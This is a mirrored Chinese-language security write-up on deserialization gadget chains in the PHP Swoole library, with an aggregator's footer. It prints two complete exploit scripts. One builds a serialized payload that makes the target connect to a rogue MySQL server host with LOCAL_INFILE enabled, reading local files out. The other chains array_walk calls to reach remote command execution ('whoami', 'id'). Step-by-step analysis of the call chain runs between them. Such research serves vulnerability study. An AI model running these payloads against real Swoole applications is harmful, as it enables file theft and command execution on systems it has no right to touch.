19

Swoole deserialization Gadgets

 4 years ago
source link: https://lih3iu.top/2020/09/09/Swoole-deserialization-Gadgets/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
<?php
function changeProperty ($object, $property, $value)
{
    $a = new ReflectionClass($object);
    $b = $a->getProperty($property);
    $b->setAccessible(true);
    $b->setValue($object, $value);
}

// Part A

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER');    // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

// Part C

$d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));
// This's Swoole\Database\MysqliProxy
changeProperty($d, 'constructor', [$a, 'get']);

$curl = new \Swoole\Curl\Handler('http://www.baidu.com');
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);

$ret = new \Swoole\ObjectProxy(new stdClass);
changeProperty($ret, '__object', [$curl, 'exec']);


$s = serialize($ret);
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
    return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

echo $s;
echo "\n";

Analysis

Hint

根据上面的提示大概可以猜测出是通过Rogue MySQL Server来读取文件,但是在旧版本中mysql的连接与参数配置顺序是颠倒的

yuyQnaB.png!mobile

可以看到在左面旧版本中是进行先数据库连接,再进行数据库选项配置。

并且在新版本中进行了更新,修复了Bug。

而Gadgets的挖掘是以旧版本为基础的,所以无法通过mysqli的连接方式配合恶意mysql进行文件读取,但是还有PDO连接可以用,通过可以实现相同的效果。下面就是调用链的分析了

ObjectProxy.php

<?php
/**
 * This file is part of Swoole.
 *
 * @link     https://www.swoole.com
 * @contact  [email protected]
 * @license  https://github.com/swoole/library/blob/master/LICENSE
 */

declare(strict_types=1);

namespace Swoole;

use TypeError;

class ObjectProxy
{
    /** @var object */
    protected $__object;

    public function __construct($object)
    {
        if (!is_object($object)) {
            throw new TypeError('Non-object given');
        }
        $this->__object = $object;
    }


    public function __invoke(...$arguments)
    {
        /** @var mixed $object */
        $object = $this->__object;
        return $object(...$arguments);
    }
}

最终触发$object(…$arguments);的调用,而如果$object的赋值为[new A,’foo’]这样是可以调用A类的foo方法的,具体的demo如下

yMz2MbZ.png!mobile

所以现在可以进行调用任意类的无参方法了,在这个Gadget中选取的Handler的exec方法

Handler#exec

public function exec()
{
    if (!$this->isAvailable()) {
        return false;
    }
    return $this->execute();
}

跟进execute函数(关键部分)

if ($client->headers) {
    $cb = $this->headerFunction;
    if ($client->statusCode > 0) {
        $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
        if ($cb) {
            $cb($this, $row);
        }
        $headerContent .= $row;
    }
    foreach ($client->headers as $k => $v) {
        $row = "{$k}: {$v}\r\n";
        if ($cb) {
            $cb($this, $row);
        }
        $headerContent .= $row;
    }
    $headerContent .= "\r\n";
    $this->info['header_size'] = strlen($headerContent);
    if ($cb) {
        $cb($this, '');
    }
} else {
    $this->info['header_size'] = 0;
}

if ($client->body and $this->readFunction) {
    $cb = $this->readFunction;
    $cb($this, $this->outputStream, strlen($client->body));
}

可以看到两个关键部分

$cb = $this->headerFunction;
$cb($this, $row);




$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));

将第一个$cb设置为MysqliProxy#reconnect

public function reconnect(): void
{
    $constructor = $this->constructor;
    parent::__construct($constructor());
    $this->round++;
    /* restore context */
    if ($this->charsetContext) {
        $this->__object->set_charset($this->charsetContext);
    }
    if ($this->setOptContext) {
        foreach ($this->setOptContext as $opt => $val) {
            $this->__object->set_opt($opt, $val);
        }
    }
    if ($this->changeUserContext) {
        $this->__object->change_user(...$this->changeUserContext);
    }
}

将$constructor设置为ConnectionPool#get

跟进get函数

public function get()
{
    if ($this->pool === null) {
        throw new RuntimeException('Pool has been closed');
    }
    if ($this->pool->isEmpty() && $this->num < $this->size) {
        $this->make();
    }
    return $this->pool->pop();
}

在满足一定条件的情况下进入make函数

protected function make(): void
{
    $this->num++;
    try {
        if ($this->proxy) {
            $connection = new $this->proxy($this->constructor);
        } else {
            $constructor = $this->constructor;
            $connection = $constructor();
        }
    } catch (Throwable $throwable) {
        $this->num--;
        throw $throwable;
    }
    $this->put($connection);
}

从以上代码可以看出make函数可以实例化任意类,所以我们可以将proxy设置为PDOPool,将constructor变量设置为PDOConfig,从而得到一个完整的PDO实例。接着跟进put函数

public function put($connection): void
{
    if ($this->pool === null) {
        return;
    }
    if ($connection !== null) {
        $this->pool->push($connection);
    } else {
        /* connection broken */
        $this->num -= 1;
        $this->make();
    }
}

在put函数中通过push将已经实例化好的类压入栈中,跟完make函数后,紧接着到下面的pop函数

return $this->pool->pop();

将刚压入栈中的实例化PDOPool类弹出并返回作为父类的构造函数的参数传给__object变量

参数设置部分代码

function changeProperty ($object, $property, $value)
{
    $a = new ReflectionClass($object);
    $b = $a->getProperty($property);
    $b->setAccessible(true);
    $b->setValue($object, $value);
}	

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER');    // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

	
$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

跟进父类__construct的构造函数

class ObjectProxy
{
    /** @var object */
    protected $__object;

    public function __construct($object)
    {
        if (!is_object($object)) {
            throw new TypeError('Non-object given');
        }
        $this->__object = $object;
    }
 }

此时ObjectProxy类的__object变量即为我们的PDOPool类

不过还需要注意的是ConnectionPool类中的Pool变量为Channel类,在此版本已经移除了其序列化,所以我们需要fuzz下同时支持isEmpty/pop/Empty三种方法的内部类,fuzz结果如下:

2q6fQnr.png!mobile

从上面选取一个类使用即可。

接着看第二个$cb的利用,设置Handler类readFunction为MysqliProxy中的get方法

在触发get方法的时候,由于MysqliProxy并不存在这个方法,所以触发__call方法

    public function __call(string $name, array $arguments)
    {
        for ($n = 3; $n--;) {
            $ret = @$this->__object->{$name}(...$arguments);
            if ($ret === false) {
                /* non-IO method */
.....
        }
        /* @noinspection PhpUndefinedVariableInspection */
        return $ret;
    }

由于MysqliProxy为ObjectProxy类的子类,所以这里实际触发的是PDOPool->get方法,最终完成PDO数据库连接,触发恶意mysql服务器完成数据读取,这里PDOPool类中的Pool变量并不用管,与ConnectPool类不同的是Pool变量是在反序列化的过程生成的,不会存在反序列化数据中。

Conclusion

1.利用反射进行属性修改

2.寻找pop链的时候,注意父类与子类的联系,子类可以用父类的属性,比如在此pop链中MysqliProxy可以用父类ObjectProxy中_object的属性值。

Second Gadgets–RCE

Exploit

$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));

Analyisis

主要是从寻找任意类的无参函数的调用开始有所区别

这RCE这条链中主要是对于这种形式如 Func($this,$var,$num)的fuzz。

大概如下

6F7JZn.png!mobile

​ 这里主要用到的是array_walk对Object的一些触发,具体demo如下:

RvIZ3un.png!mobile

所以正常情况下我们只需要设置下exec就可以完成命令执行了

但是在swoole中的exec调用并不是真正的exec,实际上调用的是hook后的swoole_exec

https://github.com/swoole/swoole-src/blob/f1a66611d8779114afbb0638d18c528689194ac8/swoole_runtime.cc#L1270

在发生错误时会直接产生Fatal Error,终止运行。

可以通过如下方法来bypass

array_walk($this, array_walk, 1);
$this->exec=array("id")

调用=>

array_walk($client_value,"client",1)=>callback not found => warning

array_walk(array("id"),"exec",1)=> finish RCE

Conclusion

1.array_walk也可以遍历对象来进行函数调用

2.二次array_walk bypass swoole_exec


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK